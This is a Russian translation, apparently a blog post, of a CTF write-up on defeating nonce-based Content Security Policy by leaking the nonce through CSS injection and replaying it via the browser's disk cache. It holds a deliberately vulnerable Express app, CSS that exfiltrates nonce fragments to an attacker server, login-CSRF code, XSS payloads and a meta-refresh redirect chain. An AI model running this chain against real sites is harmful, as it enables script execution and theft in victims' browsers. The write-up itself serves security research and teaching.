Pull to refresh

Обходим CSP nonce через дисковый кеш браузера

Level of difficultyMedium
Reading time16 min
Views1K
Original author: James Williams

Суть атаки

Данное исследование описывает способ обхода Content Security Policy на основе nonce-значений в реалистичном сценарии. Автор создал небольшой таск на XSS для демонстрации уязвимости и подробно разбирает все этапы эксплуатации.

Если вас интересует только решение, то краткая суть такова: можно добиться повторного использования nonce-значения через bfcache с откатом на дисковый кеш после его утечки, а затем заставить HTML-инъекцию быть загруженной заново путем её изменения и запроса без кеширования.

Для успешной атаки необходимы два условия:

  1. Возможность утечки nonce-значения через HTML-инъекцию, например, с помощью тегов <style> или <link rel=stylesheet>

  2. Возможность изменения инъецируемого HTML независимо от nonce-значения, например, через fetch()

Описание уязвимого приложения

Исходный код приложения минимален и содержит простую форму входа, которая устанавливает cookie name:

app.use(express.urlencoded());

app.get("/", (req, res) => {
  res.send(`
    <h1>Login</h1>
    <form action="/login" method="post">
      <input type="text" name="name" placeholder="Enter your name" required autofocus>
      <button type="submit">Login</button>
    </form>
  `);
});

app.post("/login", (req, res) => {
  res.cookie("name", String(req.body.name));
  res.redirect("/dashboard");
});

Важно отметить, что express.urlencoded() позволяет обрабатывать тела запросов с Content-Type: x-www-form-urlencoded, а простой POST-запрос делает возможными CSRF-атаки на этот endpoint входа. Хотя это может показаться не очень критичным, это отличный инструмент для дальнейшего использования.

Дашборд представляет наибольший интерес — это страница с определенной Content Security Policy через тег <meta http-equiv>. Она содержит безопасно сгенерированное случайное nonce-значение, которое копируется в единственный тег <script>, позволяя выполняться только ему:

app.get('/dashboard', (req, res) => {
  if (!req.cookies.name) {
    return res.redirect("/");
  }
  const nonce = crypto.randomBytes(16).toString('hex');
  res.send(`
    <meta http-equiv="Content-Security-Policy" content="script-src 'nonce-${nonce}'">
    <h1>Dashboard</h1>
    <p id="greeting"></p>
    <script nonce="${nonce}">
      fetch("/profile").then(r => r.json()).then(data => {
        if (data.name) {
          document.getElementById('greeting').innerHTML = \`Hello, <b>\${data.name}</b>!\`;
        }
      })
    </script>
  `);
});

app.get("/profile", (req, res) => {
  res.json({
    name: String(req.cookies.name),
  })
});

Скрипт загружает данные с /profile, который просто возвращает имя из процедуры входа. Довольно часто данные загружаются асинхронно после загрузки страницы. Код затем небезопасно вставляет эти данные с помощью .innerHTML, поэтому имя, содержащее символ <, может заинжектить вредоносный HTML. Однако установленная CSP предотвращает выполнение любых скриптов без nonce-значения, делая XSS на данном этапе невозможным.

Таков сценарий этого таска — XSS-уязвимость, заблокированная CSP на основе nonce-значений.

CSP Nonce и кеширование

Идея этого исследования началась с вопроса о том, как nonce‑значение CSP будет взаимодействовать с механизмом кеширования. «nonce» означает «Number used ONCE» (число, используемое один раз), но когда это значение включается в кешируемую страницу, одно и то же значение может возвращаться пользователю несколько раз. Это не совсем новая идея, и люди уже размышляли о рисках, которые это создает.

По сути, проблема решается сама собой, если вредоносный HTML включен в кешированный ответ, поскольку атакующий не может изменить его, чтобы включить теперь известное CSP-значение без повторного рендеринга страницы с новым nonce. Однако это становится проблемой, если nonce и XSS-полезная нагрузка доставляются отдельно и одно может быть кешировано без другого. В этом случае атакующий может прочитать nonce, затем изменить свою полезную нагрузку, чтобы включить его, и если она загружается со страницы со статическим nonce, она теперь будет доверенной и успешно выполнится.

Это было удовлетворительным объяснением на тот момент, но однажды автор подумал: "А что насчет кеша браузера?" Этот кеш всегда существует, серверу не нужно явно настраивать его через какой-то прокси. Если бы он был аналогично эксплуатируемым, трюк мог бы стать намного более универсальным.

CSS-инъекция для утечки nonce

Теперь вернемся к действию! Шаг 1 по-прежнему включает каким-то образом утечку значения nonce, но в браузере, в отличие от сервера, кеш не разделяется с атакующим, поэтому нам нужно найти другой способ его утечки. К счастью, у нас уже есть HTML-инъекция, которая довольно мощная. CSP не блокирует теги <style> или внешние таблицы стилей с <link rel="stylesheet">, поскольку отсутствует style-src. В реальном мире часто можно увидеть, что unsafe-inline все еще разрешен для стилей, поскольку с этим может быть трудно справиться.

Это делает возможной потенциальную утечку частей страницы через CSS-инъекцию.

Nonce является частью страницы, так можем ли мы просто его украсть? Создадим простую тестовую страницу, на которой вставим CSS для утечки его значения:

<script nonce="test">
  console.log("^^^^ leak this!")
</script>

Используя селектор атрибутов, мы можем сопоставить значение этого атрибута, например, если оно начинается с "t":

script[nonce^="t"] {
  background: url(/starts-with-t)
}

Стиль применяется к тегу <script>, но хотя это работало бы почти для любого другого тега, запрос к URL background: не выполняется. Это происходит потому, что скрипт не является отображаемым элементом, поэтому наличие у него фона ничего не значит. Браузер не утруждает себя его загрузкой, когда он не нужен.

Мы должны задать скрипту и его родителю display: block в сочетании с фоном, чтобы заставить его отображаться. Теперь он успешно «утекает», что nonce начинается с "t":

head, script {
  display: block;
}
script[nonce^="t"] {
  background: url(/starts-with-t)
}

Итак, мы победили? К сожалению, наша тестовая настройка была недостаточно реалистичной, чтобы поймать следующее препятствие — добавление реальной CSP:

Content-Security-Policy: script-src 'nonce-test'

Добавление этого приводит к тому, что атрибут nonce= во вкладке Elements становится пустым, наш селектор больше не совпадает, и никакой запрос не отправляется. Наш худший кошмар! Это происходит потому, что значения атрибутов nonce обычно скрыты от большинства API, включая CSS-селекторы, по соображениям безопасности.

Механизм защиты применяется только к атрибуту nonce=, ничему больше. Однако, если мы посмотрим на HTML, мы можем найти другое место, где он хранится:

<meta http-equiv="Content-Security-Policy" content="script-src 'nonce-${nonce}'">

Атрибут content= этого тега <meta>! Мы можем украсть сам заголовок CSP, используя CSS-селекторы для достижения того же результата, поскольку он может быть сопоставлен без проблем:

head, meta {
  display: block;
}
meta[content*="test"] {
  background: url(/contains-test)
}

Это работает! Мы можем украсть nonce из заголовка CSP. Теперь нам нужно автоматизировать этот процесс для утечки всего nonce символ за символом.

Автоматизация кражи nonce

Для автоматизации процесса утечки всего nonce-значения можно использовать простой скрипт, который пробует все возможные символы для каждой позиции:

const l = [..."abcdef0123456789"];
const strings = l.flatMap(a => l.flatMap(b => l.map(c => a + b + c)));
const css = `\
*{display: block}
${strings.map(s => `script[nonce*="${s}"]{background:url(/contains-${s})}`).join('\n')}
`;

Этот подход работает, но довольно медленный, поскольку нам нужно тестировать каждый символ индивидуально. На практике можно оптимизировать это, тестируя несколько символов одновременно или используя техники бинарного поиска.

Это финальный endpoint, который мы будем хостить для нашего эксплойта, используя Express:

app.get('/leak.css', (req, res) => {
  const l = [..."abcdef0123456789"];
  const strings = l.flatMap(a => l.flatMap(b => l.map(c => a + b + c)));
  const css = `\
*{display: block}
${strings.map(s => `script[nonce*="${s}"]{--${s}:url(/l/${s})}`).join('\n')}
script {
  background: ${strings.map(s => `var(--${s},none)`).join(',')}
}
`;
  res.setHeader('Content-Type', 'text/css')
  res.send(css);
});

Теперь, наконец, это работает идеально — наш сервер получает все утечки, необходимые для восстановления nonce.

Интересный факт: Во время работы над этим исследованием автор заметил, что поведение скрытия nonce применяется только если CSP приходит из HTTP-заголовка, а не когда он поступает из тега <meta>. Это означает, что мы могли бы просто сопоставить тег <script>, игнорируя тег meta.

Rebane указал, что это может быть полезно в изолированных/санитизированных контекстах, где ваша CSS-инъекция может сопоставлять только тег script, но не тег meta.

Эта часть челленджа была вдохновлена «0CTF/TCP 2023 — newdiary», где аналогичная CSS-инъекция использовалась для утечки nonce в meta-контенте. В ней они используют селектор атрибутов *= (содержит) со всеми 3-символьными комбинациями символов в алфавите nonce, являющимся hex в нашем случае. Если наш nonce был 12345, например, мы получили бы запросы фоновых изображений для фрагментов 345, 123 и 234. Как видите, они будут не по порядку, поэтому нам нужно переставить их, пока все кроме одного символа не перекроются, чтобы сформировать исходную строку.

Сначала сгенерируем нашу CSS-инъекцию:

const l = [... "abcdef0123456789"];
const strings = l.flatMap(a => l.flatMap(b => l.map(c => a + b + c)));
const css = `\
*{display: block}
${strings.map(s => `script[nonce*="${s}"]{background:url(/contains-${s})}`).join('\n')}
`;

Это работает... но отправляет только один фон. Он должен содержать намного больше последовательностей символов, но фон с линией через него должен дать вам подсказку. Селектор с наименьшей специфичностью в CSS-файле имеет наивысший приоритет, поэтому он перезаписывает остальные фоны, которые мы хотим утечь. Есть несколько решений для этого, но самое простое — просто сохранить уникальную переменную в каждом селекторе, которая может совпадать, и объединить их в одну цепочку фонов с fallback'ами.

В другом исследовании единственный и неповторимый Huli уже прошел через проблему создания алгоритма слияния в JavaScript, который мы можем позаимствовать:

function mergeWords(arr, ending) {
  if (arr.length === 0) return ending
  if (!ending) {
    for (let i = 0; i < arr.length; i++) {
      let isFound = false
      for (let j = 0; j < arr.length; j++) {
        if (i === j) continue
        
        let suffix = arr[i][1] + arr[i][2]
        let prefix = arr[j][0] + arr[j][1]
        
        if (suffix === prefix) {
          isFound = true
          continue
        }
      }
      if (!isFound) {
        return mergeWords(arr.filter(item => item !== arr[i]), arr[i])
      }
    }
  }
  
  let found = []
  for (let i = 0; i < arr.length; i++) {
    let length = ending.length
    let suffix = ending[0] + ending[1]
    let prefix = arr[i][1] + arr[i][2]
    
    if (suffix === prefix) {
      found.push([arr.filter(item => item !== arr[i]), arr[i][0] + ending])
    }
  }
  
  return found.map((item) => {
    return mergeWords(item[0], item[1])
  })
}

function combine(arr) {
  return mergeWords(arr, null).flat(99);
}

const nonce = combine(["a49", "a8d", "a8e", "a9b", "bca", "c5f", "c23", "ca8", "da9", "dda", "d6a", "d81"])
// ["48a8d6a49137dda9bca8e1c5fd81c23"]

Итак, теперь у нас есть nonce, можем ли мы просто поместить его в нашу XSS и закончим на этом.? Не так быстро, потому что перезагрузка страницы для получения вашей новой полезной нагрузки даст вам новый неизвестный nonce. Вот где приходит идея кеша браузера.

CSRF для входа в систему

Обычно в reflected XSS полезная нагрузка отправляется вместе с nonce, поэтому изменение полезной нагрузки неизбежно изменяет nonce, делая наше знание предыдущего nonce неактуальным. Но в этом таске полезная нагрузка поступает от загрузки /profile, отдельно от основной загрузки страницы. Атакующий может изменить это, войдя жертву в другой cookie с новой полезной нагрузкой, поскольку обработчик /login уязвим к CSRF, как мы ранее отметили. Мы могли бы попытаться сделать что-то простое, как это:

fetch("http://localhost:3000/login", {
  method: "POST",
  headers: {
    "Content-Type": "application/x-www-form-urlencoded"
  },
  body: "name=NEW",
  mode: "no-cors"
});

Но хотя запрос отправляется и cookie отправляется обратно, cross-origin iframe'ы являются «third‑party» контекстами, поэтому Chrome не позволит установить cookie глобально. Вместо этого этот CSRF должен быть выполнен на верхнем уровне с помощью <form>, что также не слишком сложно:

function login_csrf(name) {
  const form = document.createElement("form");
  form.method = "POST";
  form.action = "http://localhost:3000/login";
  const input = document.createElement("input");
  input.name = "name";
  input.value = name;
  form.appendChild(input);
  document.body.appendChild(form);
  form.submit();
}

login_csrf('<script nonce="448a8d6a49137dda9bca8e1c5fd81c23">alert(origin)</script>');

Когда мы обновляем дашборд, мы действительно получаем новое имя, как ожидалось, вместе с новым nonce. С приведенной выше полезной нагрузкой вы можете ожидать найти ошибку CSP в консоли из-за несовпадающего nonce, но скрипт даже не пытается загрузиться прямо сейчас. Из-за странного крайнего случая с .innerHTML, теги <script>, вставленные таким образом, не выполняются. К счастью, это легко решить, обернув его в новый документ с <iframe srcdoc=, который загружает новый контекст, где он будет выполняться, поэтому наша полезная нагрузка должна стать:

<iframe srcdoc='
  <script nonce="448a8d6a49137dda9bca8e1c5fd81c23">alert(origin)</script>
'></iframe>

Одно быстрое дополнение, которое мы сделаем к функции login_csrf(), — сделать её повторяемой, поскольку прямо сейчас она добавляет форму на текущую страницу и навигирует её на верхнем уровне, теряя наш контроль над браузером. Это легко решается добавлением атрибута target= к форме, который может открыть новое именованное окно, сохраняя наше существующее живым. Повторное выполнение этого с тем же именем будет повторно использовать это окно, предотвращая необходимость в дополнительной активации пользователя.

form.target = "w";

Тем не менее, мы застряли с предыдущим nonce и, казалось бы, нет способа вернуть его обратно. Браузер не будет просто загружать HTML-страницы из кеша без специальных заголовков Cache-Control, он всегда сначала будет revalidate с сервером, чтобы увидеть, является ли тело все еще тем же. Так он обычно ведет себя и как вы могли бы ожидать, что браузер будет ограничен в этом челлендже.

Дисковый кеш и bfcache

Недавно автор прочитал об очень интересной технике, первоначально обнаруженной другой легендой, @arkark. Она связана с Back/forward cache (bfcache) в браузере, используемым для обеспечения быстрой навигации при нажатии кнопок «Назад» в верхнем левом углу экрана. Мы можем программно вызывать их через функцию history.back() и множественно сразу с history.go(n).

Поскольку браузер уже загрузил эту страницу раньше и хочет отобразить её вам как можно быстрее, он пытается сделать снимок всей страницы, включая состояние JavaScript, известноекак «bfcache». Есть много предварительных условий для этой функции, поскольку это звучит как область, созревшая для багов, и что если. Когда одно из предварительных условий не выполняется, браузер откатывается к обычному дисковому кешу.

Это последнее, что нам действительно нужно — нам нужно тело со старым nonce для кеширования, в то время как fetch('/profile') повторно выполняется для получения нашей новой XSS-полезной нагрузки. Есть способы заставить bfcache отказать. Простой способ, которого мы даже не можем избежать, если захотим, — это иметь ссылку на него. Посмотрите, что происходит с панелью Application → Back/forward cache, когда мы пытаемся навигировать окно на страницу, которая мгновенно отправляет его обратно с <script>history.back()</script>:

<script>
  onclick = () => {
    w = window.open("http://localhost:3000/dashboard");
    setTimeout(() => {
      // We can't call history.back() on a cross-origin window, so we do it after our navigation instead
      w.location = "/back";
    }, 1000);
  }
</script>
Инструмент отладки Back/forward cache показывает сбой из-за ссылки window.open()
Инструмент отладки Back/forward cache показывает сбой из-за ссылки window.open()

Итак, это делает именно то, что мы хотим — он откатывается к дисковому кешу, загружая страницу относительно быстро, не делая никаких сетевых запросов.

Оба запроса относятся к "disk cache".
Оба запроса относятся к "disk cache".

Но подождите, никаких сетевых запросов не делается? Даже /profile загружается из дискового кеша! Если бы мы изменили имя с помощью нашего Login CSRF, этот запрос не увидел бы новое значение, поскольку он все еще кеширован с того времени, когда мы пытались утечь nonce. Возможно, вы видели это поведение полезным раньше в отличном исследовании @busfactor о другом баге. Здесь мы хотим, чтобы /profile был обновлен, но /dashboard остался старым с известным nonce.

Теперь вы можете подумать умно: «Просто загрузите /profile вручную между ними, чтобы запись кеша была перезаписана новой, когда мы вернемся назад». Давайте попробуем вашу идею и реализуем её в скрипт, пока мы на этом:

function sleep(ms) {
  return new Promise((resolve) => setTimeout(resolve, ms));
}

onclick = async () => {
  w = window.open("", "w"); // Подготовка окна с именем "w" для CSRF формы
  // Загрузка цели с CSS утечкой nonce
  login_csrf('<link rel="stylesheet" href="http://127.0.0.1:8000/leak.css">');
  await sleep(1000);
  w.location = "http://localhost:3000/dashboard";
  await sleep(1000);
  // Backend будет использовать утечки для восстановления полного nonce
  const nonces = await fetch("/nonce").then((r) => r.json());
  // Установка обновленной XSS полезной нагрузки с известным nonce
  login_csrf(nonces.map((nonce) => `<iframe srcdoc="<script nonce='${nonce}'>alert(origin)<\/script>"></iframe>`).join(''));
  await sleep(1000);
  // Попытка загрузить /profile отдельно для обновления его кеша, пока /dashboard остается старым
  w.location = "http://localhost:3000/profile";
  await sleep(1000);
  // Возврат назад до самого начала, запуск нашей новой полезной нагрузки (надеемся)
  w.location = "http://127.0.0.1:8000/back?n=3";
};

Чтобы помочь вам понять, как работает поведение, которое я собираюсь объяснить, забудьте, что endpoint /login, попадаемый login_csrf(), перенаправляет на /dashboard сейчас, поскольку это была ситуация, в которой автор изначально экспериментировал с ней. Мы вернемся к этому через секунду, чтобы увидеть, какой эффект это имеет.

Сетевая вкладка, показывающая /profile, считывается дважды, но все еще использует старый кэш
Сетевая вкладка, показывающая /profile, считывается дважды, но все еще использует старый кэш

После всей этой последовательности мы видим, что это еще не совсем сработало, финальный HTML, который мы видим загруженным, все еще первый, который утек с помощью CSS (зеленый), а не наш XSS (красный). Даже несмотря на то, что в той же вкладке Network мы можем видеть, что он загрузил endpoint /profile, по какой-то причине он не сохранил этот ответ в кеш.

Что здесь произошло, можно объяснить функцией Chrome Cache Partitioning — функцией безопасности, которая разделяет кеши запросов, сделанных разными сущностями. Например, если я загрузил какой-то ресурс, другой сайт не получит его из того же кеша. Как это работает в деталях? В основном это объясняется следующим предложением:

При разделении кеша кешированные ресурсы будут ключеваться с использованием нового "Network Isolation Key" в дополнение к URL ресурса. Network Isolation Key состоит из top-level site и current-frame site.

Это означает, что в дополнение к URL ресурса запись кеша также будет дифференцироваться по сайту верхнего уровня, на котором загружается ресурс, и сайту фрейма, который инициировал запрос. Запрос fetch('/profile'), который делает /dashboard, инициируется http://localhost:3000, поэтому это будет включено в его ключ кеша. Но когда мы делаем window.open('http://localhost:3000/profile') к тому же URL, мы являемся инициатором, поэтому https://attacker.com будет включен в ключ кеша. Они не совпадают, поэтому браузер не будет считать это в конце нашего эксплойта, когда мы вернемся к /dashboard, и вместо этого выберет первый, инициированный им самим.

Итак, в заключение, нам нужно сделать целевой запрос /profile, к счастью, это именно то, что endpoint /dashboard может сделать для нас, но, к сожалению, загрузка этого URL также кеширует новый nonce для /dashboard. Это кажется невозможной ситуацией, но мы можем выйти из неё довольно легко.

Все, что нам нужно сделать, это добавить параметр запроса к первоначальной загрузке панели управления, чтобы дать ей другой ключ кеша от endpoint, который мы используем для повторного кеширования /profile. Тогда это должно работать нормально, потому что:

  1. /dashboard?xss кеширует свой nonce к этому конкретному пути, также загружая /profile

  2. Мы крадем nonce и CSRF для установки новой XSS полезной нагрузки

  3. Загружаем /dashboard снова, что не перезапишет шаг 1, поскольку это другой путь. Но перезапишет /profile, поскольку это тот же путь

  4. Возвращаемся к /dashboard?xss, чтобы запустить дисковый кеш, получая старый nonce и новую перезаписанную /profile XSS

...
w.location = "http://localhost:3000/dashboard?xss";  // 1
await sleep(1000);
const nonces = await fetch("/nonce").then((r) => r.json());  // 2
login_csrf(nonces.map((nonce) => `<iframe srcdoc="<script nonce='${nonce}'>alert(origin)<\/script>"></iframe>`).join(""));
await sleep(1000);
w.location = "http://localhost:3000/dashboard";  // 3
await sleep(1000);
w.location = "http://127.0.0.1:8000/back?n=3";  // 4

Успех! Последний шаг загрузил нашу новую XSS полезную нагрузку с украденным nonce.

В качестве последней заметки автор говорит временно забыть о перенаправлении /login на /dashboard. Это потому, что это по сути выполняет шаг 3 для нас, если вы играете в оригинальный челлендж, весь шаг может быть удален, и только ?xss достаточно. В большинстве реальных сценариев действие входа не приведет вас прямо к HTML-инъекции, но теперь вы знаете, как решить оба случая!

Полный исходный код эксплойта, включая сервер для восстановления nonce и предоставления вызова history.go(), можно найти в следующем gist:

https://gist.github.com/JorianWoltjer/e6c7726be8c35f33b39469ed9ae2f71

Магия: 0 click

Во время разговора с одним из решателей, slonser упомянул идею использования тегов <meta> для перенаправления с цели обратно на сайт атакующего. Поскольку наша HTML-инъекция позволяет вставлять такие теги, а login CSRF и панель управления отображают нашу инъекцию, это позволяет нам перенаправляться обратно на домен атакующего после каждой навигации верхнего уровня!

<meta http-equiv="refresh" content="1; url=http://127.0.0.1:8000/exploit">

Хотя наш эксплойт, кажется, все еще работает по большей части после его реализации, финальный вызов history.go() теперь снова идет в bfcache, что означает, что наш fetch('/profile') с новой полезной нагрузкой не выполняется. Чтобы исправить это, мы можем просто запустить еще одно из условий, которое означает bfcache, превысив лимит в 6 записей. Если мы просто перенаправим на 6 разных URL в конце нашего эксплойта, а затем history.go(-7), первая запись для /dashboard?xss в bfcache очищается, чтобы освободить место для других. Это заставляет его снова откатиться к дисковому кешу.

DevTools Back/forward cache показывает причину ошибки CacheLimit
DevTools Back/forward cache показывает причину ошибки CacheLimit

Ниже приведено рабочее доказательство концепции этой идеи, которая работает для Chrome:

https://gist.github.com/JorianWoltjer/5541a0109406102c0a249945fea5f2b6

Хотя это менее вероятно будет идеально настроено (с login перенаправлением на инъекцию) в реальном мире, использование тега <meta> для возврата к атакующему после навигации к цели все еще хорошая техника, которую стоит иметь в виду, когда это возможно, для уменьшения требуемого количества взаимодействий.

Заключение

Автор нашел дисковый кеш очень интересной концепцией в последнее время. С тех пор как впервые столкнулся с ней, он видел, как она прокачивает несколько интересных цепочек атак. Если вы вынесете что-то из этого поста, пусть это будет то, что вы можете заставить любую страницу загружаться из дискового кеша, запуская bfcache, имея ссылку на страницу.

Поздравления первому blood 🔥: 🦊Rebane!

А также всем остальным решателям: 🖼️Renwa, 🐧Alfin, 🐘slonser, 🎨sebsrt, 🤵Alan Li и 🍕Salvatore Abello.

...и вам за то, что дочитали до конца этого исследования! Автор думает, что это показывает довольно реалистичный сценарий и хотел бы увидеть его использование в каком-то реальном эксплойте для повышения HTML-инъекции до полноценного XSS. Некоторые финальные слова о том, с чем вы можете столкнуться в реальном мире:

  • Различные места, где отражается nonce= вместо тега <meta>, такие как пользовательские атрибуты или содержимое скрипта для фреймворков. В основном, все, кроме атрибута для скриптов или стилей.

  • Более сложные комбинации кешированных и некешированных обновлений, для которых вы должны хорошо понимать правила разделения кеша. Запрос с вашего сайта окажется в другом кеше, чем запрос, сделанный целью.

  • Вы можете проявить творчество с техниками Login/CSRF на вашей цели, которые позволяют изменять полезную нагрузку во время работы эксплойта для жертвы. Это может быть даже через backend, если это какой-то сохраненный XSS, не нужно выполнять его из браузера тогда.

Комментарий от меня: Данная техника представляет серьезную угрозу для веб-приложений, использующих CSP на основе nonce. Российским разработчикам стоит особенно внимательно отнестись к настройке заголовков кеширования и ограничений на inline-стили. Рекомендуется провести аудит существующих приложений на предмет уязвимости к подобным атакам и внедрить дополнительные защитные меры, описанные в статье.

Tags:
Hubs:
+8
Comments2

Articles